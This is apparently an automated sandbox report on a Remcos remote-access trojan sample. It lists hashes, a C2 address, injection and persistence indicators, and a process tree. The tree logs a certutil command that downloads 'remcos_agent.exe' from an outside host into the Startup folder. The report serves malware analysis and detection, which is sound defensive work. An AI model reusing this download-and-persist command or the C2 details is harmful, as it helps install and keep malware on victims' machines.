Analysis
- max time kernel
150s - max time network
148s - platform
windows7_x64 - resource
win7v20201028 - submitted
10/11/2020, 11:07
Static task
static1
Behavioral task
behavioral1
Sample
1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe
Resource
win7v20201028
0 signatures
0 seconds
General
- Target 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe
- Size 961KB
- Sample201110-llc83kfvvs
- SHA256 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675
- MD5 4b14a8349532805191d547a419037835
- SHA1 6b8026d91021d33ed06be0cf5145a2730409f989
- SHA512 dace1a8285a21a61d8b3bb6dd79668227c37b15269cdbdfa61e7828333ddc8a2502e76126f7738bfb540da00f3b64b2150c6e33a2600ab4dde08e02faf14caed
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
remcos
C2
-
www.rmagent.biz:7181
Signatures
- Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BluetoothApis.lnk 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 364 set thread context of 2016 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 29 - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe - Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe - Suspicious use of SendNotifyMessage 3 IoCs
pid Process 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2016 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 364 wrote to memory of 1824 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 26 PID 364 wrote to memory of 1824 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 26 PID 364 wrote to memory of 1824 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 26 PID 364 wrote to memory of 1824 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 26 PID 1824 wrote to memory of 1964 1824 cmd.exe 28 PID 1824 wrote to memory of 1964 1824 cmd.exe 28 PID 1824 wrote to memory of 1964 1824 cmd.exe 28 PID 1824 wrote to memory of 1964 1824 cmd.exe 28 PID 364 wrote to memory of 2016 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 29 PID 364 wrote to memory of 2016 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 29 PID 364 wrote to memory of 2016 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 29 PID 364 wrote to memory of 2016 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 29 PID 364 wrote to memory of 2016 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 29 PID 364 wrote to memory of 2016 364 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 29
Processes
-
C:\Users\Admin\AppData\Local\Temp\1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe"C:\Users\Admin\AppData\Local\Temp\1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe"1⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:364 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1824 -
C:\Windows\SysWOW64\certutil.execertutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"3⤵PID:1964
-
-
-
C:\Users\Admin\AppData\Local\Temp\1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe"C:\Users\Admin\AppData\Local\Temp\1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:2016
-